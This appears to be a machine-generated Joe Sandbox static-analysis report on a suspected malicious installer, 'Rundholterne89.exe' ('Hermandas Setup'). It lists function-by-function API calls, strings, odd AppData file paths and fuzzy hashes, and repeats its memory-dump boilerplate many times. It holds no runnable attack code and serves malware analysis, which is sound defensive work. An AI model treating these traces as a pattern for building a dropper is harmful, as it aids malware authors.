Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction ID: 49fdcfdf8b1973cd13611e97ba0bfafd8618b6cb304eeeee9131019f9f046fb0
Opcode Fuzzy Hash: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction Fuzzy Hash: 03B01271644200BFDA214F00DF05F057B21A790700F10C030B748380F082712420EB4D

Non-executed Functions

Function 00405086 Relevance: 54.3, APIs: 36, Instructions: 282windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004050E5
GetDlgItem.USER32(?,000003EE), ref: 004050F4
GetClientRect.USER32(?,?), ref: 00405131
GetSystemMetrics.USER32(00000002), ref: 00405138
SendMessageA.USER32(?,0000101B,00000000,?), ref: 00405159
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 0040516A
SendMessageA.USER32(?,00001001,00000000,?), ref: 0040517D
SendMessageA.USER32(?,00001026,00000000,?), ref: 0040518B
SendMessageA.USER32(?,00001024,00000000,?), ref: 0040519E
ShowWindow.USER32(00000000,?,0000001B,?), ref: 004051C0
ShowWindow.USER32(?,00000008), ref: 004051D4
GetDlgItem.USER32(?,000003EC), ref: 004051F5
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 00405205
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 0040521E
SendMessageA.USER32(00000000,00002001,00000000,?), ref: 0040522A
GetDlgItem.USER32(?,000003F8), ref: 00405103

Part of subcall function 00403F49: SendMessageA.USER32(00000028,?,00000001,00403D7A), ref: 00403F57

GetDlgItem.USER32(?,000003EC), ref: 00405246
CreateThread.KERNEL32(00000000,00000000,Function_0000501A,00000000), ref: 00405254
CloseHandle.KERNEL32(00000000), ref: 0040525B
ShowWindow.USER32(00000000), ref: 0040527E
ShowWindow.USER32(?,00000008), ref: 00405285
ShowWindow.USER32(00000008), ref: 004052CB
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004052FF
CreatePopupMenu.USER32 ref: 00405310
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 00405325
GetWindowRect.USER32(?,000000FF), ref: 00405345
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 0040535E
SendMessageA.USER32(?,0000102D,00000000,?), ref: 0040539A
OpenClipboard.USER32(00000000), ref: 004053AA
EmptyClipboard.USER32 ref: 004053B0
GlobalAlloc.KERNEL32(00000042,?), ref: 004053B9
GlobalLock.KERNEL32(00000000), ref: 004053C3
SendMessageA.USER32(?,0000102D,00000000,?), ref: 004053D7
GlobalUnlock.KERNEL32(00000000), ref: 004053F0
SetClipboardData.USER32(00000001,00000000), ref: 004053FB
CloseClipboard.USER32 ref: 00405401

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID:
API String ID: 590372296-0
Opcode ID: 3d83c7054a3b30a9ea95d535bbc07a084d735a6ee6b89b99bed3655396955496
Instruction ID: a6ce54ef4cbaee69b9623da841507b5c48c0df4ae21fd636639bbbe11a9743ae
Opcode Fuzzy Hash: 3d83c7054a3b30a9ea95d535bbc07a084d735a6ee6b89b99bed3655396955496
Instruction Fuzzy Hash: 8EA13871900208BFEB119FA0DD89AAE7F79FB08355F10407AFA01BA1A0C7755E51DF69

Function 00404352 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 274stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 004043A1
SetWindowTextA.USER32(00000000,?), ref: 004043CB
SHBrowseForFolderA.SHELL32(?,00428C40,?), ref: 0040447C
CoTaskMemFree.OLE32(00000000), ref: 00404487
lstrcmpiA.KERNEL32(C:\Users\user\Stanglorgnet.bro,00429868), ref: 004044B9
lstrcatA.KERNEL32(?,C:\Users\user\Stanglorgnet.bro), ref: 004044C5
SetDlgItemTextA.USER32(?,000003FB,?), ref: 004044D7

Part of subcall function 00405509: GetDlgItemTextA.USER32(?,?,00000400,0040450E), ref: 0040551C

Part of subcall function 00405F9A: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Rundholterne89.exe",774D3410,C:\Users\user\AppData\Local\Temp\,00000000,004030EA,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032FF), ref: 00405FF2
Part of subcall function 00405F9A: CharNextA.USER32(?,?,?,00000000), ref: 00405FFF
Part of subcall function 00405F9A: CharNextA.USER32(?,"C:\Users\user\Desktop\Rundholterne89.exe",774D3410,C:\Users\user\AppData\Local\Temp\,00000000,004030EA,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032FF), ref: 00406004
Part of subcall function 00405F9A: CharPrevA.USER32(?,?,774D3410,C:\Users\user\AppData\Local\Temp\,00000000,004030EA,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032FF), ref: 00406014

GetDiskFreeSpaceA.KERNEL32(00428838,?,?,0000040F,?,00428838,00428838,?,00000001,00428838,?,?,000003FB,?), ref: 00404595
MulDiv.KERNEL32(?,0000040F,00000400), ref: 004045B0

Part of subcall function 00404709: lstrlenA.KERNEL32(00429868,00429868,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404624,000000DF,00000000,00000400,?), ref: 004047A7
Part of subcall function 00404709: wsprintfA.USER32 ref: 004047AF
Part of subcall function 00404709: SetDlgItemTextA.USER32(?,00429868), ref: 004047C2

Strings

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian, xrefs: 004044A2
C:\Users\user\Stanglorgnet.bro, xrefs: 004044B3, 004044B8, 004044C3
A, xrefs: 00404475

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian$C:\Users\user\Stanglorgnet.bro
API String ID: 2624150263-426964393
Opcode ID: 92617ce1ab210426147f8d25d609736ba8401d1a6e22c2ed364add3f88eda8c7
Instruction ID: ab5132907fc5b2f665edfad9f17b3ca32a66d27d09768481e079f0ca797b6646
Opcode Fuzzy Hash: 92617ce1ab210426147f8d25d609736ba8401d1a6e22c2ed364add3f88eda8c7
Instruction Fuzzy Hash: 07A194B1900209ABDB11AFA2CC45AAF77B8EF85314F10843BF601B62D1D77C8941CB69

Function 0040205E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00407514,?,00000001,00407504,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 004020DD
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,?,00000400,?,00000001,00407504,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402189

Strings

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian, xrefs: 0040211D

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian
API String ID: 123533781-2640575136
Opcode ID: b8ee83f4a2e520ff4dab12eb385b74956a589b44baa30f4280110cf77b52f418
Instruction ID: 202bff00353f62e800299527826cf24c9a9ce8e01df6a73eade79aa1dd8fb932
Opcode Fuzzy Hash: b8ee83f4a2e520ff4dab12eb385b74956a589b44baa30f4280110cf77b52f418
Instruction Fuzzy Hash: 16512775A00208BFCF10DFA4CD88A9DBBB5BF48318F20856AF615EB2D1DA799941CB14

Function 004064CB Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e604220aa4cc57a0d507a3eee92e1260e78aef2c865a073fe0bf8dde490b4c6a
Instruction ID: 52966d4a0c143cd855de3d8d32e2f948802446bd43c2bd9d1e79afe7cfa9a62c
Opcode Fuzzy Hash: e604220aa4cc57a0d507a3eee92e1260e78aef2c865a073fe0bf8dde490b4c6a
Instruction Fuzzy Hash: D1E19B71901709DFDB24CF58C890BAABBF5FB44305F15882EE497A72D1D378AA91CB14

Function 00406CA2 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5f7cd6dd9e448d1ceba1cbc86ba17909bb361cdcfc346b133718b62247df967
Instruction ID: 28dd1b742c6822d911ebb92dd847779981f1f79bff0408386317dd500df5852d
Opcode Fuzzy Hash: c5f7cd6dd9e448d1ceba1cbc86ba17909bb361cdcfc346b133718b62247df967
Instruction Fuzzy Hash: 53C12971A0021A8BCF18CF68D5905EEB7B2FF99314F26827AD85677380D734A952CF94

Function 0040405D Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 205windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 004040E8
GetDlgItem.USER32(00000000,000003E8), ref: 004040FC
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 0040411A
GetSysColor.USER32(?), ref: 0040412B
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 0040413A
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 00404149
lstrlenA.KERNEL32(?), ref: 0040414C
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 0040415B
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 00404170
GetDlgItem.USER32(?,0000040A), ref: 004041D2
SendMessageA.USER32(00000000), ref: 004041D5
GetDlgItem.USER32(?,000003E8), ref: 00404200
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 00404240
LoadCursorA.USER32(00000000,00007F02), ref: 0040424F
SetCursor.USER32(00000000), ref: 00404258
ShellExecuteA.SHELL32(0000070B,open,0042D3A0,00000000,00000000,00000001), ref: 0040426B
LoadCursorA.USER32(00000000,00007F00), ref: 00404278
SetCursor.USER32(00000000), ref: 0040427B
SendMessageA.USER32(00000111,00000001,00000000), ref: 004042A7
SendMessageA.USER32(00000010,00000000,00000000), ref: 004042BB

Strings

open, xrefs: 00404263
C:\Users\user\Stanglorgnet.bro, xrefs: 0040422B
(@@, xrefs: 00404260
N, xrefs: 004041EE

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: (@@$C:\Users\user\Stanglorgnet.bro$N$open
API String ID: 3615053054-3917213246
Opcode ID: 7868d9df4ae1d674ab0cf3f1043cffc922edae777938ca354114bc27cd0f8479
Instruction ID: c92d02d703ef172067c6e48558b1c194508f37b8d1d7228abd04d5231d4a861f
Opcode Fuzzy Hash: 7868d9df4ae1d674ab0cf3f1043cffc922edae777938ca354114bc27cd0f8479
Instruction Fuzzy Hash: 5461D3B1A40209BFEB109F21DC45F6A7B68FB44755F10807AFB00BA2D1C7B8A951CB98

Function 00401000 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,Hermandas Setup,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C
Hermandas Setup, xrefs: 00401150

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F$Hermandas Setup
API String ID: 941294808-715303475
Opcode ID: 743dd018db8a108fdfb55826faff2fb237305abb1c3a72422579a1c27d61dc24
Instruction ID: 9af9226455e7fa8211e54ab4aa6b8deb1f4adf461e7c9b231a43246ca388c9df
Opcode Fuzzy Hash: 743dd018db8a108fdfb55826faff2fb237305abb1c3a72422579a1c27d61dc24
Instruction Fuzzy Hash: F0419B71804249AFCB058FA5CD459AFBBB9FF44310F00812AF961AA1A0C738EA51DFA5

Function 00405A78 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(0042B5F8,NUL,?,00000000,?,00000000,00405C0B,?,?), ref: 00405A87
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,00405C0B,?,?), ref: 00405AAB
GetShortPathNameA.KERNEL32(?,0042B5F8,00000400), ref: 00405AB4

Part of subcall function 00405907: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B64,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405917
Part of subcall function 00405907: lstrlenA.KERNEL32(00000000,?,00000000,00405B64,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405949

GetShortPathNameA.KERNEL32(0042B9F8,0042B9F8,00000400), ref: 00405AD1
wsprintfA.USER32 ref: 00405AEF
GetFileSize.KERNEL32(00000000,00000000,0042B9F8,C0000000,00000004,0042B9F8,?,?,?,?,?), ref: 00405B2A
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405B39
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B71
SetFilePointer.KERNEL32(004093B0,00000000,00000000,00000000,00000000,0042B1F8,00000000,-0000000A,004093B0,00000000,[Rename],00000000,00000000,00000000), ref: 00405BC7
GlobalFree.KERNEL32(00000000), ref: 00405BD8
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405BDF

Part of subcall function 004059A2: GetFileAttributesA.KERNELBASE(00000003,00402CA6,C:\Users\user\Desktop\Rundholterne89.exe,80000000,00000003), ref: 004059A6
Part of subcall function 004059A2: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 004059C8

Strings

%s=%s, xrefs: 00405AE5
NUL, xrefs: 00405A81
[Rename], xrefs: 00405B59, 00405B6B

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %s=%s$NUL$[Rename]
API String ID: 222337774-4148678300
Opcode ID: 1f98854de7e5c40725f23c70871346fb007f1980b568e50079ef848d7602898f
Instruction ID: 8a014ae25a2f57f4e7f496887e8afb480c0f68f452f449b39f33bde68a4ee9be
Opcode Fuzzy Hash: 1f98854de7e5c40725f23c70871346fb007f1980b568e50079ef848d7602898f
Instruction Fuzzy Hash: 5231F370604B19ABC2206B615D49F6B3A6CDF45758F14053AFE01F62D2DA7CB800CEAD

Function 00405F9A Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Rundholterne89.exe",774D3410,C:\Users\user\AppData\Local\Temp\,00000000,004030EA,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032FF), ref: 00405FF2
CharNextA.USER32(?,?,?,00000000), ref: 00405FFF
CharNextA.USER32(?,"C:\Users\user\Desktop\Rundholterne89.exe",774D3410,C:\Users\user\AppData\Local\Temp\,00000000,004030EA,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032FF), ref: 00406004
CharPrevA.USER32(?,?,774D3410,C:\Users\user\AppData\Local\Temp\,00000000,004030EA,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032FF), ref: 00406014

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405F9B
*?|<>/":, xrefs: 00405FE2
"C:\Users\user\Desktop\Rundholterne89.exe", xrefs: 00405FD6

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\Rundholterne89.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-2912927711
Opcode ID: ce3d7990729f771fdc32bb0ed1b54e2c2469674ae1568702cd8079844570f2a1
Instruction ID: 57e0f34d942670e43035b7c22e392f1a12bb14715b301cf1348a0c798ab9ef07
Opcode Fuzzy Hash: ce3d7990729f771fdc32bb0ed1b54e2c2469674ae1568702cd8079844570f2a1
Instruction Fuzzy Hash: 8B112751809B932AFB3256244C00B7BBFD88F57760F19007BE8D5722C2D67C5D529B6D

Function 00403F7B Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EB), ref: 00403F98
GetSysColor.USER32(00000000), ref: 00403FB4
SetTextColor.GDI32(?,00000000), ref: 00403FC0
SetBkMode.GDI32(?,?), ref: 00403FCC
GetSysColor.USER32(?), ref: 00403FDF
SetBkColor.GDI32(?,?), ref: 00403FEF
DeleteObject.GDI32(?), ref: 00404009
CreateBrushIndirect.GDI32(?), ref: 00404013

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
